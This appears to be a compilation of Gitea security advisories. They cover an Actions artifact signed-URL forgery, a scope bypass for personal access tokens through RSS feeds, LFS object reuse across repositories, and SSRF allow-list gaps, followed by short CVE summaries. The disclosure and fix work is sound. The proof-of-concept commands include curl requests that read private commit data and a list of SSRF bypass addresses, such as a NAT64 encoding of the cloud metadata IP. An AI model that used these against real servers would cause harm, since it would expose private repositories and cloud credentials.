bash cd /home/kali/gitea/pocs GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.26.1 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.25.5 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.24.7 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.23.8 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.22.6 GITEATESTGOTOOLCHAIN=go1.22.12 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go
Some release worktrees require a local gitea binary before integration tests run:
bash cd /path/to/gitea-release-worktree go build -tags 'sqlite sqliteunlocknotify' -o gitea .
Impact
This is a cross-task and cross-repository authorization bypass in Gitea Actions artifact handling.
An attacker who can run an Actions job can obtain a valid V4 artifact signed URL for their own task, rewrite it without invalidating the HMAC, and make the server operate in another running task's context.
Impacted users are Gitea instances with Actions enabled and V4 artifact signed URL handling in use. Private repositories are impacted because the forged signed URL handlers do not re-check repository access after reconstructing task context from URL parameters.
Confirmed impact:
- Confidentiality: read artifacts from a target running task in a private repository. - Integrity: write attacker-controlled artifact data into the target run/artifact staging storage and mutate target artifact metadata.
This can expose build outputs, logs or packaged artifacts stored as workflow artifacts, and can interfere with in-flight artifact upload staging. Depending on the target upload/finalization flow, it may poison artifact data consumed by later workflow steps, release automation, deployment jobs, or downstream users.
Recommended fix:
- Sign a canonical structured payload, such as JSON/protobuf or length-prefixed fields, instead of concatenating raw values. A versioned payload is preferable, for example HMAC(version || canonicalpayload). - Include and enforce endpoint, expiry, task ID, artifact ID, artifact name, run ID, run attempt ID, repository ID, and owner ID in the signed payload. - After signature verification, load the artifact by signed artifactID. - Reject the request unless the signed artifact ID, task ID, run ID, run attempt ID, repository ID, owner ID, and artifact name all match. - Apply artifact-name validation to V4 artifact creation as hardening.
Adding separators alone is not a complete fix if the post-verification code still trusts URL fields and looks up the artifact only by name/run context. Artifact-name validation is also hardening rather than a root-cause fix, because normal valid artifact names can contain digits and separators. The important security property is binding the signed URL to one canonical artifact, task, run, repository, owner, endpoint, and expiry.
Summary A Gitea personal access token (PAT) restricted to a non-repository scope (e.g. read:issue) can read the commit history of any private repository the token owner can access, via the repository RSS/Atom feed endpoints. The same token is correctly denied (403) on /raw, /media, /archive, and the contents API. It leaks commit SHAs, full commit messages (which frequently contain secrets and internal context), and committer name + email.
Details Gitea enforces PAT scope on repository-content endpoints via checkDownloadTokenScope() (added in PR #37698, extended to the archive endpoint by the CVE-2026-20706 fix in 1.26.2). The RSS/Atom feed handlers were never included: they (a) opt into PAT auth via webAuth.AllowBasic, (b) serve private-repo content, but (c) never call checkDownloadTokenScope().
Affected handlers (all carry AllowBasic, none call the scope check): - RenderBranchFeedRSS/Atom - routers/web/feed/render.go (last 10 commits: SHA, title, full message, committer name + email) - ShowFileFeed - routers/web/feed/file.go (per-file commit history) - repo activity feed /{owner}/{repo}.rss / .atom - TagsListFeedRSS/Atom, ReleasesFeedRSS/Atom - routers/web/repo/release.go
Root cause: routers/web/web.go registers the feed routes with webAuth.AllowBasic so a PAT authenticates, but the unit-permission middleware only checks the user's access, not the token's scope. checkDownloadTokenScope (routers/web/repo/download.go and the archive Download in repo.go) exists to close exactly that gap and is absent from the feed handlers. Same class as the recently fixed download/archive bypasses (GHSA-cr4g-f395-h25h / CVE-2026-20706); the feeds are the surface those fixes missed.
PoC Tested on gitea/gitea:1.26.2-rootless, confirmed present at main HEAD (9608cc2, 2026-06-13). 1. User carol owns private repo carol/priv with a commit (message: "add confidential secret"). 2. Create a PAT scoped to issues only, no repository scope: curl -u carol:PASS -X POST $HOST/api/v1/users/carol/tokens -d '{"name":"t","scopes":["read:issue"]}' 3. Scope-enforcing sibling correctly denies it: curl -u carol:$TOK $HOST/carol/priv/raw/branch/main/secret.txt -> 403 4. The feed leaks private data with the same token: curl -u carol:$TOK $HOST/carol/priv/rss/branch/main -> 200, returns <description>add confidential secret ... this commit message itself is sensitive</description>
| Auth (same read:issue token) | /raw/branch/main/secret.txt | /rss/branch/main | |---|---|---| | anonymous | - | 404 (private repo hidden) | | invalid token | - | 401 | | read:issue token (no repo scope) | 403 (scope enforced) | 200 + private commit data | | full-scope token | 200 | 200 (legitimate) |
Impact PATs are routinely issued narrowly and handed to third-party bots, CI jobs, or chat integrations that are meant to have no code access. This bypass lets such a token exfiltrate private-repository commit history (messages often hold secrets, ticket refs, internal context) and committer emails for every repository the owner can read. Confidentiality only; no integrity or availability impact. Preconditions: a valid PAT of any non-repository scope owned by a user with read access to the target private repo, and feeds enabled (Other.EnableFeed, default ON).
Suggested fix: call checkDownloadTokenScope(ctx) at the start of each feed handler (mirroring download.go). Longer-term, enforce repository token scope in a single route-group middleware wherever AllowBasic / AllowOAuth2 is set on a repo-content route, so the next added endpoint cannot miss it.
Summary
A user with Code write access to one repository may be able to associate an existing Git LFS object from a private source repository with their target repository, even when they do not have Code access to the source repository that currently owns the LFS object.
The issue appears to be caused by the source-object authorization check using broad repository accessibility instead of requiring Code-unit access to at least one repository that owns the requested LFS object.
Impact
This issue breaks the expected authorization boundary between repository units.
A user who does not have Code access to a private source repository should not be able to reuse or associate Git LFS objects owned by that repository. However, because the source-object accessibility check accepts broad repository access, non-Code access such as Issues access may be sufficient for the LFS object to be treated as accessible.
If the reused object becomes downloadable through the attacker-controlled target repository after metadata association, this can result in cross-repository Git LFS content disclosure.
The target repository write authorization is still enforced. The problem is specifically in the authorization decision for whether the source LFS object is accessible and may be reused.
Preconditions
The attacker needs:
an authenticated Gitea account; Code write access to a target repository; non-Code access, such as Issues access, to a private source repository; knowledge of an existing Git LFS object OID and size from the private source repository.
Affected Area
The issue affects the Git LFS upload/object reuse path.
Relevant paths:
text services/lfs/server.go
Relevant handlers:
text BatchHandler UploadHandler
Both paths can call:
go gitmodel.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
The helper is located in:
text models/git/lfs.go
The authorization check uses:
go repomodel.AccessibleRepositoryCondition(user, unit.TypeInvalid)
When unit.TypeInvalid is used, the repository access condition can include broad repository access, such as organization team membership through teamrepo and teamuser, without requiring that the user has access to the Code unit of the source repository.
By contrast, Code-specific repository access checks use a concrete unit type and include teamunit validation.
Validation
I reproduced this locally using Gitea's Go test harness.
Validated against commit:
text dac41a124fd34820a3c8caf3b3592ba62cd514ff
The PoC creates the following scenario:
1. The attacker has Code write access to the target repository. 2. The source repository is private. 3. The attacker does not have Code access to the source repository. 4. The attacker only has Issues access to the source repository through an organization team. 5. An LFS object exists in the source repository. 6. LFSObjectAccessible(ctx, attacker, oid) returns true. 7. NewLFSMetaObject(ctx, targetRepo.ID, pointer) successfully creates LFS metadata for the target repository.
Test result:
text === RUN TestLFSObjectAccessibleAllowsNonCodeSourceAccess --- PASS: TestLFSObjectAccessibleAllowsNonCodeSourceAccess PASS ok gitea.dev/models/git
No live instance was tested. Validation was performed only against a local test database.
Security Expectation
A user should not be allowed to reuse or associate an LFS object from a private source repository unless they have Code access to that source repository, or another permission level explicitly intended to grant access to repository file contents.
Non-Code permissions such as Issues access should not authorize access to Git LFS object content or allow Git LFS object reuse.
Suggested Fix
LFSObjectAccessible should require Code-unit access to at least one repository that owns the requested LFS object.
The check should avoid using unit.TypeInvalid for this source-object authorization decision. A Code-specific repository access condition should be used instead.
A regression test should cover:
private source repository; user has Issues-only access to the source repository; user does not have Code access to the source repository; user has Code write access to the target repository; known LFS object exists in the source repository; object reuse must be rejected unless the user has Code access to the source repository.
Suggested Severity
Suggested severity: Medium to High.
The severity depends on whether the associated LFS object becomes downloadable through the target repository after reuse.
If the object becomes downloadable through the target repository, the issue should be considered High because it can lead to cross-repository Git LFS content disclosure.
Suggested CVSS v3.1 if content disclosure is confirmed:
text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
Rationale:
network reachable through Git LFS endpoints; requires authentication; requires knowledge of the LFS object OID and size; no user interaction required; breaks repository-level authorization expectations; primary impact is confidentiality of private Git LFS content; limited integrity impact through unauthorized LFS metadata association in the target repository.
Evidence
I can provide the local regression test and passing test log privately if needed.
Summary
Gitea's default SSRF allow-list (MatchBuiltinExternal, used by both webhook delivery and repository migrations) relies on Go's standard library net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193. As a result, several IP ranges commonly used for cloud metadata services, internal networks, and IPv6 transition mechanisms are not blocked, allowing authenticated users to send HTTP requests to those destinations and read the responses via the webhook history UI.
Details
The vulnerability lives in HostMatchList.checkIP, specifically line 103:
go case MatchBuiltinExternal: if ip.IsGlobalUnicast() && !ip.IsPrivate() { return true }
net.IP.IsPrivate() recognises only: - 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918) - fc00::/7 (RFC 4193 IPv6 ULA)
It does not recognise:
| Range | Description | |---|---| | 100.64.0.0/10 | RFC 6598 Carrier-Grade NAT | | 168.63.129.16/32 | Azure WireServer metadata endpoint | | 172.32.0.0/11 | Non-RFC1918 portion of 172.0.0.0/8 (real-world internal use) | | 64:ff9b::/96 | RFC 6052 IPv6 NAT64 (can embed 169.254.169.254) | | 2001::/32 | RFC 4380 Teredo tunneling | | 2002::/16 | RFC 3056 6to4 | | 2001:db8::/32 | RFC 3849 documentation |
The default is reached by webhook delivery at services/webhook/deliver.go#L312-L316 and by repository migrations at services/migrations/migrate.go#L522.
The SSRF is not blind. Webhook delivery captures the response status, headers, and up to 1 MiB of body (services/webhook/deliver.go#L259-L270) and renders them in the webhook history UI (templates/repo/settings/webhook/history.tmpl#L75-L85), so attackers can read everything the targeted internal service returns.
Impact
An authenticated user who can create or modify a webhook can:
- Reach cloud metadata endpoints (AWS IMDS via NAT64 64:ff9b::a9fe:a9fe, Azure WireServer 168.63.129.16) - Probe and exfiltrate from internal services on CGNAT (100.64.0.0/10) or non-RFC1918 172.x ranges - Read full HTTP response bodies through the webhook history UI
The same default is applied to repository migrations, broadening the attack surface to users who can trigger a migration.
Proof of Concept
The attached patch (giteassrftest.patch) adds TestSSRFBypassRanges to the existing test file. It uses Go subtests so each vulnerable range is its own named failing test case.
Run with: go test -v ./modules/hostmatcher -run TestSSRFBypassRanges
Expected result on 4c37f4dacbac022f7beca75272439331f0368830: - 8 PASS — RFC 1918, IPv6 private ranges, and legitimate public IPs (control cases) - 10 FAIL — Each failing subtest is a documented SSRF bypass
Sample failure output: --- FAIL: TestSSRFBypassRanges/CGNAT100.64.0.0/10(RFC6598) Error: Not equal: expected: false, actual: true Messages: ip=100.64.0.1 --- FAIL: TestSSRFBypassRanges/AzureWireServer168.63.129.16 Error: Not equal: expected: false, actual: true Messages: ip=168.63.129.16 --- FAIL: TestSSRFBypassRanges/IPv6NAT64embeddedAWSIMDS169.254.169.254 Error: Not equal: expected: false, actual: true Messages: ip=64:ff9b::a9fe:a9fe
Suggested Remediation
I'd suggest treating the design of MatchBuiltinExternal as the bug — IsPrivate() is too narrow a definition of "internal." A comprehensive deny-list approach is what's needed here. For reference, CC-Tweaked's AddressPredicate.PrivatePattern is a good reference list, blocking each of the ranges named in the table above plus a few others (multicast, broadcast, TEST-NET, etc.).
The exact remediation is at your discretion.
References
- Vulnerable function: modules/hostmatcher/hostmatcher.go#L96-L114 - Default for webhooks: services/webhook/deliver.go#L312-L316 - Default for migrations: services/migrations/migrate.go#L522 - Response captured: services/webhook/deliver.go#L259-L270 - Response rendered: templates/repo/settings/webhook/history.tmpl#L75-L85 - Go stdlib net.IP.IsPrivate(): <https://pkg.go.dev/net#IP.IsPrivate> - CC-Tweaked reference deny-list: AddressPredicate.java#L116-L169 - Go subtests pattern: <https://go.dev/blog/subtests> - RFC 6598 (CGNAT), RFC 6052 (NAT64), RFC 4380 (Teredo), RFC 3056 (6to4), RFC 3849 (documentation)
---
Patch <a name="patch"></a>
Proposed giteassrftest.patch:
diff diff --git a/modules/hostmatcher/hostmatchertest.go b/modules/hostmatcher/hostmatchertest.go index c781847..0b39e60 100644 --- a/modules/hostmatcher/hostmatchertest.go +++ b/modules/hostmatcher/hostmatchertest.go @@ -159,3 +159,56 @@ func TestHostOrIPMatchesList(t testing.T) { } test(cases) } + +// TestSSRFBypassRanges verifies that the "external" filter (the default used by +// webhook delivery and repository migrations) blocks dangerous IP ranges. +// +// Each subtest's allowed field is the expected return value of MatchHostOrIP: +// - false: the IP should be blocked (rejected by the filter) +// - true: the IP should be allowed (a legitimate public destination) +// +// Subtests that FAIL are documented SSRF bypasses: IP ranges that should be +// blocked but are incorrectly allowed because the underlying check relies on +// net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193. +func TestSSRFBypassRanges(t testing.T) { + type tc struct { + ip net.IP + allowed bool + } + + hl := ParseHostMatchList("", "external") + + cases := map[string]tc{ + // RFC 1918 / IPv6 private ranges - correctly blocked + "RFC1918 10.0.0.0/8": {net.ParseIP("10.0.0.1"), false}, + "RFC1918 172.16.0.0/12": {net.ParseIP("172.16.0.1"), false}, + "RFC1918 192.168.0.0/16": {net.ParseIP("192.168.1.1"), false}, + "IPv6 loopback ::1": {net.ParseIP("::1"), false}, + "IPv6 link-local fe80::/10": {net.ParseIP("fe80::1"), false}, + "IPv6 ULA fd00::/8": {net.ParseIP("fd00::1"), false}, + + // Legitimate public IPs - correctly allowed + "Public IPv4 (Google DNS)": {net.ParseIP("8.8.8.8"), true}, + "Public IPv6 (Google DNS)": {net.ParseIP("2001:4860:4860::8888"), true}, + + // SSRF bypasses - the assertions below intentionally describe the + // expected secure behavior (allowed=false). Each failing subtest is + // a documented bypass. + "CGNAT 100.64.0.0/10 (RFC 6598)": {net.ParseIP("100.64.0.1"), false}, + "CGNAT 100.127.255.254 (RFC 6598)": {net.ParseIP("100.127.255.254"), false}, + "Azure WireServer 168.63.129.16": {net.ParseIP("168.63.129.16"), false}, + "Non-RFC1918 172.32.0.0/11": {net.ParseIP("172.32.0.1"), false}, + "Non-RFC1918 172.45.0.0/16": {net.ParseIP("172.45.0.1"), false}, + "IPv6 NAT64 64:ff9b::/96 (RFC 6052)": {net.ParseIP("64:ff9b::1"), false}, + "IPv6 NAT64 embedded AWS IMDS 169.254.169.254": {net.ParseIP("64:ff9b::a9fe:a9fe"), false}, + "IPv6 Teredo 2001::/32 (RFC 4380)": {net.ParseIP("2001::1"), false}, + "IPv6 6to4 2002::/16 (RFC 3056)": {net.ParseIP("2002::1"), false}, + "IPv6 documentation 2001:db8::/32 (RFC 3849)": {net.ParseIP("2001:db8::1"), false}, + } + + for name, c := range cases { + t.Run(name, func(t testing.T) { + assert.Equalf(t, c.allowed, hl.MatchHostOrIP("", c.ip), "ip=%v", c.ip) + }) + } +}
Credit
This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.
CVE Description Gitea versions up to and including 1.26.1 have insufficient permission checks for Composer package source links, which can expose private or internal package source information.
Summary A critical vulnerability has been discovered in Gitea. It was already reported via (security@gitea.io) from (dev@noscope.com), and submitted an encrypted report.
Gitea does not properly validate repository ownership when deleting Git LFS locks. A user with write access to one repository may be able to delete LFS locks belonging to other repositories.
Gitea does not properly validate project ownership in organization project operations. A user with project write access in one organization may be able to modify projects belonging to a different organization.
Gitea does not properly validate repository ownership when linking attachments to releases. An attachment uploaded to a private repository could potentially be linked to a release in a different public repository, making it accessible to unauthorized users.
Gitea does not properly verify repository context when deleting attachments. A user who previously uploaded an attachment to a repository may be able to delete it after losing access to that repository by making the request through a different repository they can access.
Gitea versions before 1.25.5 do not enforce a timeout on git grep searches, allowing expensive searches to consume server resources.
Attackers are exploiting the critical Gitea vulnerability CVE-2026-20896 to bypass authentication with a single HTTP header and access vulnerable repositories and secrets.
https://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/
Gitea versions before 1.25.5 use release tag names and asset names as filesystem path components when dumping release assets, allowing specially crafted names to affect dump output paths.
Gitea versions before 1.25.5 do not persist the OAuth2 PKCE S256 challenge method correctly during authorization, allowing token exchange without the expected verifier check.
Gitea versions before 1.25.5 do not use the migration HTTP transport for LFS push and sync mirror operations, bypassing the configured migration transport protections for those LFS requests.
Gitea versions before 1.25.5 do not consistently enforce OAuth2 authorization code expiry and single-use behavior during token exchange.
Gitea versions before 1.25.5 allow a user to change another user's primary email address.
Gitea versions before 1.25.5 allow draft release data or attachments to be accessed without the required write permission.
Gitea versions before 1.25.5 look up tracked-time entries by time ID without scoping the lookup to the issue in the request URL, allowing deletion attempts to target entries from another issue.
Gitea versions before 1.25.5 have insufficient permission checks for updating or rebasing pull request branches.
Gitea versions before 1.25.5 mishandle path resolution during template repository generation, allowing template processing to read or write through symlinked or otherwise non-regular paths.